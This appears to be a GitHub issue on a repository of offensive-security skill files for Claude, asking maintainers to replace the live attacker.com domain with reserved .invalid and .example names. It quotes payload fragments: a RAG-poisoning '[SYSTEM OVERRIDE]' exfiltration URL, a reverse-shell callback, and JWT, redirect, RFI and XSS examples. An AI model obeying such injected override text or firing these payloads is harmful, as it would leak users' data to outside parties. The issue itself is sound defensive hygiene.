Swap live `attacker.com` placeholder for RFC-reserved names in example payloads

[Calrain]

Really useful skill set — thanks for putting it out there.

One hygiene thing worth fixing across the payload examples: a lot of them
use attacker.com as the adversary-controlled stand-in. A few spots:

• offensive-initial-access — the Copilot/RAG poisoning examples
  ([SYSTEM OVERRIDE] ... exfiltrate ... https://attacker.com/log?data=)
• reverse shell one-liner → /dev/tcp/attacker.com/443
• offensive-jwt → jku/x5u pointing at https://attacker.com/jwks.json
• offensive-open-redirect and the RFI/XSS examples

The problem: attacker.com isn't a reserved placeholder. Unlike
example.com (RFC 2606) or the .invalid/.test TLDs (RFC 2606/6761),
it's an ordinary registrable domain — it resolves to whoever currently
holds it, and that can change without notice. Two ways that bites:

1. Copy-paste into a live engagement. These are exactly the payloads
   people lift verbatim. If the domain isn't swapped, the RFI / reverse
   shell / curl | bash / exfil examples fire real traffic at
   infrastructure the operator doesn't control.
2. Agent context. These are Claude skill files. When the
   injection/exfil examples get loaded into an agent's context,
   https://attacker.com/log?data= is a genuinely resolvable endpoint,
   not an inert string.

Fix — use the reserved names, which can never resolve:

• C2 / exfil / shell callbacks → attacker.invalid, c2.invalid
  (guaranteed non-resolvable by design; also reads unambiguously as fake)
• benign redirect / URL-parsing demos → attacker.example or
  example.com subdomains